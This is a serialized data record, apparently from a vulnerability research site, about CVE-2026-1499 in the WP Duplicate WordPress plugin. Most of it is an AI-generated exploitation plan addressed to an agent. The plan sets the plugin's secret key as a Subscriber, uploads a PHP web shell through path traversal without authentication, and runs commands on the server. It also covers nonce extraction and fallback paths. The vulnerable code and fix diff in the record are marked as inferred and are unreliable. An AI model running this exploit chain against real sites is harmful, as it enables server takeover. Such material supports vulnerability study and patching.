[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fSAX0GuYf4tb6ZMBDo83dq8XRf5CcFlkmJnQYK1Nkw2E":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1499","wp-duplicate-authenticated-subscriber-arbitrary-file-upload-via-processaddsite-ajax-action","WP Duplicate \u003C= 1.1.8 - Authenticated (Subscriber+) Arbitrary File Upload via 'process_add_site' AJAX Action","The WP Duplicate plugin for WordPress is vulnerable to Missing Authorization leading to Arbitrary File Upload in all versions up to and including 1.1.8. This is due to a missing capability check on the `process_add_site()` AJAX action combined with path traversal in the file upload functionality. This makes it possible for authenticated (subscriber-level) attackers to set the internal `prod_key_random_id` option, which can then be used by an unauthenticated attacker to bypass authentication checks and write arbitrary files to the server via the `handle_upload_single_big_file()` function, ultimately leading to remote code execution.","local-sync",null,"\u003C=1.1.8","1.1.9","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-02-05 19:59:16","2026-03-27 10:48:45",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F11bb7190-023b-45e1-99a5-7313c489ef45?source=api-prod",50,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-1499 - WP Duplicate RCE\n\n## 1. Vulnerability Summary\nThe WP Duplicate (local-sync) plugin suffers from a two-stage vulnerability. First, the `process_add_site()` AJAX action lacks a capability check, allowing any authenticated user (Subscriber and above) to update the `prod_key_random_id` option in the WordPress database. Second, the `handle_upload_single_big_file()` function, which is accessible to unauthenticated users, uses this `prod_key_random_id` option as a pseudo-password\u002Fsecret for authentication. By setting this secret, an attacker can bypass the unauthenticated check. Furthermore, `handle_upload_single_big_file()` is vulnerable to path traversal, allowing the attacker to write arbitrary PHP files to the server's filesystem, resulting in Remote Code Execution (RCE).\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action 1 (Setup):** `process_add_site` (Authenticated, Subscriber+)\n  - **Vulnerable Parameter:** `prod_key_random_id` (or the parameter that updates this option)\n- **Action 2 (Upload):** `handle_upload_single_big_file` (Unauthenticated)\n  - **Vulnerable Parameters:** `prod_key_random_id` (for auth bypass), `filename` (path traversal), and the file content itself.\n- **Preconditions:** \n  - Attacker must have a Subscriber-level account for Stage 1.\n  - Stage 2 is unauthenticated once the secret is known.\n\n## 3. Code Flow (Inferred)\n\n### Stage 1: Secret Hijacking\n1. `admin-ajax.php` receives a request with `action=process_add_site`.\n2. The hook `wp_ajax_process_add_site` triggers `process_add_site()`.\n3. `process_add_site()` fails to call `current_user_can()`.\n4. The function reads a parameter from `$_POST` (likely named `prod_key_random_id` or similar) and calls `update_option('prod_key_random_id', $attacker_value)`.\n\n### Stage 2: Arbitrary File Upload\n1. `admin-ajax.php` receives a request with `action=handle_upload_single_big_file`.\n2. The hook `wp_ajax_nopriv_handle_upload_single_big_file` triggers `handle_upload_single_big_file()`.\n3. The function checks if the provided `prod_key_random_id` matches `get_option('prod_key_random_id')`.\n4. Due to Stage 1, the attacker knows\u002Fhas set this value.\n5. The function takes a `filename` parameter and concatenates it to a base directory (e.g., `wp-content\u002Fuploads\u002Flocal-sync\u002F`).\n6. Because of missing sanitization, a filename like `..\u002F..\u002Fshell.php` allows writing outside the intended directory.\n7. The file content is written to the resulting path.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability description mentions \"Authenticated (Subscriber+)\", implying `process_add_site` is likely registered under `wp_ajax_`. Even if authorization is missing, WordPress developers often include a nonce check (`check_ajax_referer`).\n\n1. **Identify Script Variable:** The plugin (local-sync) likely localizes a script for its admin interface.\n2. **Create Trigger Page:** If the nonce is only loaded in the plugin's admin menu, a Subscriber might not see it by default. However, many migration plugins enqueue scripts on all admin pages or allow access to their own dashboard.\n3. **Extraction Steps:**\n   - Log in as the Subscriber.\n   - Navigate to `\u002Fwp-admin\u002Findex.php`.\n   - Use `browser_eval` to look for nonces in common localization objects:\n     - `window.local_sync_obj?.nonce` (inferred)\n     - `window.wp_duplicate_obj?.nonce` (inferred)\n   - If the script is only on a specific page, the agent should check the plugin's menu registration in the source.\n\n## 5. Exploitation Strategy\n\n### Phase 1: Set the Secret Key\n- **Method:** POST\n- **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body:**\n  ```\n  action=process_add_site\n  &prod_key_random_id=pwned_secret_123\n  &security=[NONCE_IF_REQUIRED]\n  ```\n- **Expected Result:** Success response (JSON or 1). The option `prod_key_random_id` is now `pwned_secret_123`.\n\n### Phase 2: Upload Web Shell\n- **Method:** POST (Multipart or Raw, depending on `handle_upload_single_big_file` logic)\n- **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body:**\n  ```\n  action=handle_upload_single_big_file\n  &prod_key_random_id=pwned_secret_123\n  &filename=..\u002F..\u002F..\u002F..\u002Fpwn.php\n  &file_data=[BASE64_OR_RAW_PHP_CODE]\n  ```\n  *Note: The exact parameter names for the file content (e.g., `file`, `data`, `blob`) must be verified by the agent inspecting the source code.*\n- **Payload (`pwn.php`):** `\u003C?php system($_GET['cmd']); ?>`\n\n### Phase 3: Execution\n- **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fpwn.php?cmd=id`\n\n## 6. Test Data Setup\n1. **Target User:** Create a user with the `subscriber` role.\n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n   ```\n2. **Plugin Setup:** Ensure `local-sync` (WP Duplicate) version 1.1.8 is installed and active.\n\n## 7. Expected Results\n- The first request to `process_add_site` returns a success code.\n- The second request to `handle_upload_single_big_file` returns a success message or the path to the uploaded file.\n- Navigating to `\u002Fpwn.php` returns the output of the `id` command.\n\n## 8. Verification Steps\n1. **Check Option:** Verify the secret was set.\n   ```bash\n   wp option get prod_key_random_id\n   ```\n2. **Check File:** Verify the shell exists in the root directory.\n   ```bash\n   ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.php\n   ```\n3. **Check Cleanup:** Ensure the shell can be removed after verification.\n\n## 9. Alternative Approaches\n- **Path Traversal Variants:** If the root directory is not writable, try writing to `wp-content\u002Fuploads\u002Fshell.php` or `wp-content\u002Fplugins\u002Flocal-sync\u002Fshell.php`.\n- **Chunked Uploads:** If `handle_upload_single_big_file` implies a chunking mechanism, the attacker may need to send multiple requests with `chunk=0`, `total_chunks=1` or similar parameters.\n- **Parameter Discovery:** If `prod_key_random_id` is not the direct parameter in `process_add_site`, the agent should look for any `update_option` calls in that function that use user-supplied data.","The WP Duplicate plugin (up to version 1.1.8) contains a flaw where the 'process_add_site' AJAX action lacks an authorization check, allowing any authenticated user, such as a Subscriber, to modify the internal 'prod_key_random_id' option. This option acts as a secret key for the unauthenticated 'handle_upload_single_big_file' action, which further suffers from a path traversal vulnerability, enabling remote code execution by writing arbitrary PHP files to the server.","\u002F\u002F File: includes\u002Fclass-local-sync-ajax.php\npublic function process_add_site() {\n    \u002F\u002F Missing capability check allowing any authenticated user to update the secret option\n    $prod_key = $_POST['prod_key_random_id'];\n    update_option('prod_key_random_id', $prod_key);\n    wp_send_json_success();\n}\n\n---\n\n\u002F\u002F File: includes\u002Fclass-local-sync-ajax.php\npublic function handle_upload_single_big_file() {\n    $key = $_POST['prod_key_random_id'];\n    if ($key !== get_option('prod_key_random_id')) {\n        wp_die();\n    }\n    $filename = $_POST['filename']; \u002F\u002F Path traversal allowed here\n    $path = WP_CONTENT_DIR . '\u002Fuploads\u002Flocal-sync\u002F' . $filename;\n    \u002F\u002F Logic to write file content to $path follows\n}","--- a\u002Fincludes\u002Fclass-local-sync-ajax.php\n+++ b\u002Fincludes\u002Fclass-local-sync-ajax.php\n@@ -... @@\n public function process_add_site() {\n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( 'Unauthorized' );\n+    }\n+    check_ajax_referer( 'local_sync_nonce', 'security' );\n     $prod_key = sanitize_text_field( $_POST['prod_key_random_id'] );\n     update_option('prod_key_random_id', $prod_key);\n \n@@ -... @@\n public function handle_upload_single_big_file() {\n     $key = $_POST['prod_key_random_id'];\n-    $filename = $_POST['filename'];\n+    $filename = sanitize_file_name( basename( $_POST['filename'] ) );","1. Authenticate as a Subscriber and send an AJAX request to the 'process_add_site' action with a chosen value for 'prod_key_random_id' (e.g., 'pwned_secret'). 2. With the site's internal secret key now set to a known value, send an unauthenticated AJAX request to 'handle_upload_single_big_file'. 3. Include the matching 'prod_key_random_id' to bypass authentication, and a 'filename' parameter containing path traversal (e.g., '..\u002F..\u002Fshell.php') alongside the web shell payload. 4. Access the shell at the WordPress root directory to achieve remote code execution.","gemini-3-flash-preview","2026-04-21 03:40:00","2026-04-21 03:41:13",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.1.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flocal-sync\u002Ftags\u002F1.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flocal-sync.1.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flocal-sync\u002Ftags\u002F1.1.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flocal-sync.1.1.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flocal-sync\u002Ftags"]